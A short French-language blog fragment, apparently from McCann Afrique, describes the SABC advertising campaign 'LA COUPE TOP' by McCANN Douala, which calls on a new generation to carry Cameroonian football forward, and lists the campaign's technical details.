<p>Plus qu’une campagne, cette prise de parole est un appel à la nouvelle génération à reprendre le flambeau du football camerounais et à le hisser plus haut que ces légendes.</p>
<p><b>FICHE TECHNIQUE</b></p>
<p>- Secteur d'activité: Agroalimentaire<br />- Annonceur: SABC<br />- Agence: McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/1338-2/">LA COUPE TOP</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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